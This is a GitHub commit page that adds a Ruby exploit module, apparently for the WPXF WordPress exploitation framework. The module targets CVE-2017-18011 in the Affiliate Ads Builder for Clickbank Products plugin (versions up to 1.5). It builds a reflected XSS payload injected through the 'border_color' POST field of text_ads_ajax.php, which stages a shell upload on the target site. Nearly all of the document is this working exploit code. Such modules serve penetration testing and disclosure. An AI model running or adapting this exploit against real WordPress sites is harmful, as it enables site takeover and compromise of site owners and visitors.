Skip to content
This repository was archived by the owner on Oct 22, 2020. It is now read-only.

Commit 6234fc8

Browse files
committed
Add Affiliate Ads Builder <= 1.5 reflected XSS shell upload
1 parent 9d657de commit 6234fc8

File tree

1 file changed

+53
-0
lines changed

1 file changed

+53
-0
lines changed
Lines changed: 53 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,53 @@
1+
# frozen_string_literal: true
2+
3+
class Wpxf::Exploit::AffiliateAdsBuilderReflectedXssShellUpload < Wpxf::Module
4+
include Wpxf::WordPress::StagedReflectedXss
5+
6+
def initialize
7+
super
8+
9+
update_info(
10+
name: 'Affiliate Ads for Clickbank Products <= 1.5 Reflected XSS Shell Upload',
11+
author: [
12+
'Ricardo Sanchez', # Disclosure
13+
'rastating' # WPXF module
14+
],
15+
references: [
16+
['CVE', '2017-18011'],
17+
['WPVDB', '8989']
18+
],
19+
date: 'Nov 14 2017'
20+
)
21+
end
22+
23+
def check
24+
check_plugin_version_from_readme('affiliate-ads-builder-for-clickbank-products', '1.6')
25+
end
26+
27+
def vulnerable_url
28+
normalize_uri(wordpress_url_plugins, 'affiliate-ads-builder-for-clickbank-products', 'text_ads_ajax.php')
29+
end
30+
31+
def xss_payload
32+
"\\\"><script>#{xss_ascii_encoded_include_script}<\\/script>"
33+
end
34+
35+
def initial_script
36+
create_basic_post_script(
37+
vulnerable_url,
38+
'show_product_descr' => '1',
39+
'show_read_more_btn' => '1',
40+
'default_font_family' => '1',
41+
'fill_color' => '1',
42+
'border_color' => xss_payload,
43+
'link_color' => '2',
44+
'kws' => '1',
45+
'cols' => '1',
46+
'rows' => '1',
47+
'ref' => '1',
48+
'descr_color' => '1',
49+
'height_adjustment' => '1',
50+
'hide_footer' => '0'
51+
)
52+
end
53+
end

0 commit comments

Comments
 (0)